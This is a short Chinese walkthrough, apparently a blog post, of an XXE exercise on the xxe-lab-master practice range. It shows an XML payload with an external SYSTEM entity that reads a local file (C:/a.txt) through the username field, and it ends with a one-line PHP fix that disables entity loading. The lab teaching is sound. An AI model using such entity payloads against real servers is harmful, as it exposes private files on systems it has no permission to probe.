下载靶场

https://www.lanzoux.com/i0Txnhgnxgf

文件在xxe-lab-master\php_xxe

xxe-lab-master靶场实战

我们用户密码都输入admin
用burp截断
可以看到是一个自定义的标签

我们故意修改一下标签

提交他报错了可以看到他就是xml
![])(https://zssnp-1301606049.cos.ap-nanjing.myqcloud.com/img/20201016084343.png)

我在靶场文件里面添加一个a.txt文件

我们修改成这样

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [<!ENTITY a SYSTEM "file:///C:/a.txt">]>
<user><username>&a;</username><password>admin</password></user>

叫c:/a.txt内容给读出来了

xxe预防

1
libxml_disable_entity_loader(true);